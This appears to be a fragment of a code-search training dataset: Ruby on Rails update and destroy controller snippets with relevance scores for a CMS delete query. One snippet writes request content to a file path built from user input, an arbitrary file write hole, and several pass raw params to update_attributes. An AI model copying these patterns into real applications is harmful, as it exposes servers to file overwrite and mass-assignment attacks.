"def update\n respond_to do |format|\n if @microsite.update(microsite_params)\n format.html { redirect_to @microsite, notice: 'Microsite was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @microsite }\n else\n format.html { render action: 'edit' }\n format.json { render json: @microsite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @system = System.find(params[:id])\n\n respond_to do |format|\n if @system.update_attributes(params[:system])\n flash.now[:success] = \"System was successfully updated.\"\n format.html { redirect_to @system }\n #proper response to http PUT is also no_content\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n\n if update_cmm(cmm_params)\n head :no_content\n else\n render json: @cmm.errors, status: :unprocessable_entity\n end\n\n rescue ActionController::ParameterMissing => e\n head :unprocessable_entity\n end\n end",
"def update\n @canon = Canon.find(params[:id])\n # body = params[:canon][:body]\n # category_id = params[:canon][:category]\n\n respond_to do |format|\n # @canon.body = body\n # if category_id.nil?\n # @canon.category = nil\n # else\n # @canon.category = Category.find(category_id)\n # end\n\n # if @canon.save\n if @canon.update_attributes(params[:canon])\n format.html { redirect_to @canon, notice: 'Canon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @canon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meta_content = MetaContent.find(params[:id])\n \n respond_to do |format|\n if @meta_content.update_attributes(params[:meta_content])\n format.html { redirect_to @meta_content, notice: 'Meta content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meta_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @cms_user.update(cms_user_params)\n format.html { redirect_to @cms_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_user }\n else\n format.html { render :edit }\n format.json { render json: @cms_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, :notice => 'Content was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @content.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n @testimonials = Testimonial.all\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mercury_update\n campaign = Campaign.find(params[:id])\n document_name = request.referer.split('/').last\n document = {\n :body => params[:content][:page_content][:value],\n :path => 'documents/' + document_name,\n :format => 'html',\n :locale => 'en',\n :handler => 'erb',\n :partial => 'false',\n :campaign_id => campaign.id\n }\n edited_document = SqlTemplate.find_or_create_by(campaign_id: campaign_id)\n edited_document.update(document)\n render text: \"\"\n end",
"def update\n section_chunks = get_chunks(params)\n\n puts params\n redirect_to @course\n\n return\n\n sections = params['sections']\n if sections.nil?\n # Loop through course's existing sections.\n @course.sections.each do |section|\n\n end\n end\n \n respond_to do |format|\n # Update subcontents\n if update_section_chunks(section_chunks)\n format.html { redirect_to @course }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_news\n @api_v1_news = News.find(params[:id])\n end",
"def update\n @content = Content.find_or_create_by_name(params[:id])\n @content.attributes = params[:content]\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to(@content, :notice => 'Content was successfully created.') }\n format.json { render :json => @content, :status => :created, :location => @content }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @content.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @payment_site_master.update(payment_site_master_params)\n format.html { redirect_to @payment_site_master, notice: 'Payment site master was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @payment_site_master.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n if @csosn.update_attributes(params[:csosn])\n format.html { redirect_to @csosn, notice: 'Csosn was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @csosn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to @sitio, notice: 'Sitio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sproject = current_user.sprojects.find(params[:id])\n\n respond_to do |format|\n if @sproject.update_attributes(params[:sproject])\n format.html { redirect_to @sproject, notice: 'Sproject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sproject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_about = About.find(params[:id])\n\n respond_to do |format|\n if @admin_about.update_attributes(params[:about])\n format.html { redirect_to admin_about_path(params[:id]), notice: 'About was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_admin_about_path(@admin_about) }\n format.json { render json: @admin_about.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def set_cms_channel\n @cms_channel = @cms_site.channels.find(params[:id])\n end",
"def update\n @syllabus = Syllabus.find(params[:id])\n\n respond_to do |format|\n if @syllabus.update_attributes(params[:syllabus])\n format.html { redirect_to @syllabus, notice: 'syllabus was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @syllabus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crawler_template = CrawlerTemplate.find(params[:id])\n\n respond_to do |format|\n if @crawler_template.update_attributes(params[:crawler_template])\n @crawler_template.sync_mall_shop\n format.html { redirect_to crawler_templates_url, notice: 'Crawler template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crawler_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to contents_path, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_role.update(cms_role_params)\n format.html { redirect_to @cms_role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_role }\n else\n format.html { render :edit }\n format.json { render json: @cms_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cms_page\n @cms_page = Cms::Page.find(params[:id])\n @cms_channel = @cms_page.channel\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @cosmetic.update(cosmetic_params)\n format.html { redirect_to @cosmetic, notice: 'Cosmetic was successfully updated.' }\n format.json { render :show, status: :ok, location: @cosmetic }\n else\n format.html { render :edit }\n format.json { render json: @cosmetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @system = System.find(params[:id])\n\n respond_to do |format|\n if @system.update_attributes(params[:system])\n format.html {redirect_to systems_url, flash[:info]='System was successfully updated.' }\n format.js { flash[:info]='System was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # render json:params\n # return \n\n\n respond_to do |format|\n if @manage_section.update(manage_section_params)\n format.html { redirect_to manage_compete_url(@compete), notice: 'Section was successfully updated.' }\n format.json { render :show, status: :ok, location: @manage_section }\n else\n format.html { render :edit }\n format.json { render json: @manage_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content_item = ContentItem.find(params[:id])\n\n respond_to do |format|\n if @content_item.update_attributes(params[:content_item])\n format.html { redirect_to @content_item, notice: 'Content item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content_item_condo = ContentItemCondo.find(params[:id])\n\n respond_to do |format|\n if @content_item_condo.update_attributes(params[:content_item_condo])\n format.html { render action: \"edit\", status: 'Content item condo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_item_condo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@site)\n\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to site_site_steps_path(@site), notice: t('notice.site.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @musique = Musique.find(params[:id])\n\n respond_to do |format|\n if @musique.update_attributes(params[:musique])\n format.html { redirect_to @musique, notice: 'Musique was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @musique.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content_form = ContentForm.find(params[:id])\n\n respond_to do |format|\n if @content_form.update_attributes(params[:content_form])\n format.html { redirect_to @content_form, notice: 'Content form was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @curso = Curso.find(params[:id])\n\n respond_to do |format|\n if @curso.update_attributes(params[:curso])\n format.html { redirect_to(:back) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @publish = Publish.find(params[:id])\n\n respond_to do |format|\n if @publish.update_attributes(params[:publish])\n format.html { redirect_to @publish, notice: 'Publish was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @publish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @major = Major.find(params[:id])\n\n respond_to do |format|\n if @major.update_attributes(params[:major])\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = current_user.sites.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_content\n @o_single = Content.find(params[:id])\n end",
"def update\n @site = current_user.sites.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { flash_and_redirect(\"successfully updated!\", sites_url) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.put(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n flash[:success] = 'Content was successfully updated.'\n format.html { redirect_to admin_content_path(@content.id) }\n format.json { head :ok }\n else\n flash[:error] = @content.errors.full_messages.join('')\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mystic.update(mystic_params)\n format.html { redirect_to @mystic, notice: 'Mystic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mystic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @article = Article.find(params[:id])\n content = @article.contents[0]\n# @article.contents.create(:title => @article.title, :body => params[:body]) unless content\n# content.update_attributes(:title => @article.title, :body => params[:body]) if content\n Content.create(:title => @article.title, :body => params[:body], :article_id => @article.id) unless content\n content.update_attributes(:title => @article.title, :body => params[:body]) if content\n \n respond_to do |format|\n @article = Article.find(params[:id])\n if @article.update_attributes(params[:article])\n flash[:notice] = 'Article was successfully updated.'\n format.html { redirect_to \"/admin/articles?standalone=true\" }\n format.xml { head :ok }\n format.js { \n @channel, @articles = find_articles(params[:article][:channel_id])\n render(:update) { |page| page.replace_html 'channel-form', :partial => 'list' } \n }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @admin = Admin.find(params[:id])\n\n if @admin.update(admin_params)\n head :no_content\n else\n render json: @admin.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @cm = Cm.find(params[:id])\n @cm.destroy\n\n respond_to do |format|\n format.html { redirect_to cms_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def update\n fn = params[:id].gsub('DOTDOT','.').gsub('SLASHSLASH','/')\n File.open(fn,'w+') { |f| \n f.puts params[:content]\n }\n respond_to do |format|\n format.json { render json: { success: true} }\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @anatomic_site.update(anatomic_site_params)\n format.html { redirect_to @anatomic_site, notice: 'Anatomic site was successfully updated.' }\n format.json { render :show, status: :ok, location: @anatomic_site }\n else\n format.html { render :edit }\n format.json { render json: @anatomic_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n @content = Content.find(params[:id])\n #Add Date Created, Date Modified\n @content.date_modified = Time.now\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @managecourse.update(managecourse_params)\n format.html { redirect_to @managecourse, notice: 'Managecourse was successfully updated.' }\n format.json { render :show, status: :ok, location: @managecourse }\n else\n format.html { render :edit }\n format.json { render json: @managecourse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find_by_site(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n respond_to do |format|\n if @site.update_attributes(params[:site])\n format.html { redirect_to @site, :notice => 'Site was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\", :layout=>\"site\"}\n format.json { render :json => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n if @sphere.update_attributes(params[:sphere])\n format.html { redirect_to @sphere, notice: 'Sphere a été édité avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sphere.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @published = Published.find(params[:id])\n\n respond_to do |format|\n if @published.update_attributes(params[:published])\n format.html { redirect_to @published, notice: 'Published was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @published.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n head :forbidden\n\n #@action = Action.find(params[:id])\n\n #if @action.update_attributes(params[:action])\n # head :no_content\n # else\n # render json: @action.errors, status: :unprocessable_entity\n # end\n end"
] | [
"0.6057394",
"0.60189575",
"0.5848225",
"0.58391994",
"0.5753595",
"0.5704055",
"0.5660645",
"0.5615672",
"0.5610236",
"0.56065965",
"0.5596199",
"0.5582196",
"0.5578005",
"0.556296",
"0.5559274",
"0.55519867",
"0.5551535",
"0.5516483",
"0.550786",
"0.55009925",
"0.55000085",
"0.54663104",
"0.5443728",
"0.54428715",
"0.5442217",
"0.54348356",
"0.54316634",
"0.5424222",
"0.5406401",
"0.54049665",
"0.54012966",
"0.5394062",
"0.53912187",
"0.53790456",
"0.5374577",
"0.53711665",
"0.53635854",
"0.5354226",
"0.53500205",
"0.5344537",
"0.5341552",
"0.53387374",
"0.53387374",
"0.53387374",
"0.533321",
"0.5326017",
"0.5325088",
"0.53227425",
"0.5320987",
"0.5317085",
"0.531521",
"0.5307938",
"0.52962124",
"0.5293356",
"0.5290616",
"0.52901536",
"0.52868176",
"0.5286075",
"0.52823114",
"0.5278355",
"0.5275882",
"0.52702206",
"0.5264965",
"0.5258005",
"0.52563334",
"0.5250687",
"0.5248392",
"0.52436996",
"0.524339",
"0.52403677",
"0.5238863",
"0.5237548",
"0.5230231",
"0.52258193",
"0.5222124",
"0.52214915",
"0.52207756",
"0.52098626",
"0.52050376",
"0.5204484",
"0.52012706",
"0.519134",
"0.5190532",
"0.51898074",
"0.518956",
"0.51883274",
"0.5186643",
"0.5186268",
"0.5185509",
"0.5184729",
"0.5182872",
"0.51817197",
"0.51813805",
"0.5180734",
"0.5179575",
"0.51792276",
"0.5174627",
"0.51737344",
"0.51735216",
"0.51726663"
] | 0.5331773 | 45 |
DELETE /cms/1 DELETE /cms/1.json | def destroy
@cm = Cm.find(params[:id])
@cm.destroy
respond_to do |format|
format.html { redirect_to cms_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: \"#{@cms_page.title} has been deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: 'Cms page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@static_content = StaticContent.find(params[:id])\n #@static_content.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to static_contents_url }\n # format.json { head :no_content }\n #end\n end",
"def destroy\n @cms_page = CmsPage.find(params[:id])\n @cms_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cms_page_section.destroy\n respond_to do |format|\n format.html { redirect_to cms_page_sections_url, notice: 'Page section was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @content_item_condo = ContentItemCondo.find(params[:id])\n @content_item_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_item_condos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_condo = ContentCondo.find(params[:id])\n @content_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_condos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @short_url.destroy\n render json: { status: \"Deleted\" }\n else\n render json: { head: \"no content\" }\n end \n end",
"def destroy\n @structure_content = Structure::Content.find(params[:id])\n @structure_content.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_contents_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to content_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, :notice => \"Successfully deleted content\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_about = About.find(params[:id])\n @admin_about.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_abouts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cso = Cso.find(params[:id])\n @cso.destroy\n\n respond_to do |format|\n format.html { redirect_to csos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sitemenu.destroy\n respond_to do |format|\n format.html { redirect_to sitemenus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @microsite.destroy\n respond_to do |format|\n format.html { redirect_to microsites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adminabout.destroy\n respond_to do |format|\n format.html { redirect_to adminabouts_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_adminabout }\n end\n end",
"def destroy\n @page = current_cms.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @mysite.destroy\n respond_to do |format|\n format.html { redirect_to mysites_url, notice: 'Mysite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site_editorial.destroy\n respond_to do |format|\n format.html { redirect_to site_editorials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @section.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_manager = BigCms::ContentManager.find(params[:id])\n @content_manager.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_content_managers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @static_content.destroy\n respond_to do |format|\n format.html { redirect_to static_contents_url, notice: \"Static content was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_section.destroy\n respond_to do |format|\n format.html { redirect_to manage_compete_url(@compete), notice: 'Section was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_datum = ContentDatum.find(params[:id])\n @content_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to content_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @seo.destroy\n respond_to do |format|\n format.html { redirect_to seos_url, notice: 'Seo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n if @content.present?\n @content.destroy\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@content.errors)\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @caso.destroy\n respond_to do |format|\n format.html { redirect_to casos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orbituarysite = Orbituarysite.find(params[:id])\n @orbituarysite.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_url = ContentUrl.find(params[:id])\n @content_url.destroy\n\n respond_to do |format|\n format.html { redirect_to content_urls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @payment_site_master.destroy\n respond_to do |format|\n format.html { redirect_to payment_site_masters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @digital_content = DigitalContent.find(params[:id])\n @digital_content.destroy\n\n respond_to do |format|\n format.html { redirect_to digital_contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adminmatrixgenu.destroy\n respond_to do |format|\n format.html { redirect_to adminmatrixgenus_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @content_translation = ContentTranslation.find(params[:id])\n @content_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to content_translations_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @musique = Musique.find(params[:id])\n @musique.destroy\n\n respond_to do |format|\n format.html { redirect_to musiques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to admin_settings_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n\n head :no_content\n end",
"def destroy\n @company_news.destroy\n respond_to do |format|\n format.html { redirect_to company_news_index_url, notice: 'Новость была удалена' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_category = ContentCategory.find(params[:id])\n @content_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_home_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_item = ContentItem.find(params[:id])\n @content_item.destroy\n\n respond_to do |format|\n format.html { redirect_to content_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ca = Ca.find(params[:id])\n @ca.destroy\n\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end",
